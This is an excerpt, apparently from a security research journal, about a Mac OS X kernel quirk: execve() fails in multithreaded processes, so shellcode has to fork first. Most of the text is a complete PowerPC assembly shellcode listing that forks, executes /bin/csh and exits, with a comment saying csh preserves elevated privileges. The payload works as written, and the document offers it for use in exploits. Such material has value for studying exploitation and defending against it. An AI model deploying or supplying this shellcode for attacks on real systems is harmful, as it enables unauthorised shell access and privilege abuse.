Informative Information for the Uninformed | ||||||||||||||
|
||||||||||||||
Threads and ExecveMac OS X has an undocumented behavior concerning the execve() system call inside a threaded process. If a process tries to call execve() and has more than one active thread, the kernel returns the error EOPNOTSUPP. After a closer look at kern_exec.c in the Darwin XNU source code, it becomes apparent that for shellcode to function properly inside a threaded process, it will need to call either fork() or vfork() before calling execve().
;; ;; Fork and execute a command shell ;; main: _fork: li r0, 2 sc b _exitproc _execsh: ; based on ghandi's execve xor. r5, r5, r5 bnel _execsh mflr r3 addi r3, r3, 32 ; 32 stw r3, -8(r1) ; argv[0] = path stw r5, -4(r1) ; argv[1] = NULL subi r4, r1, 8 ; r4 = {path, 0} li r0, 59 sc ; execve(path, argv, NULL) b _exitproc _path: .ascii "/bin/csh" ; csh handles seteuid() for us .long 0 _exitproc: li r0, 1 li r3, 0 sc
|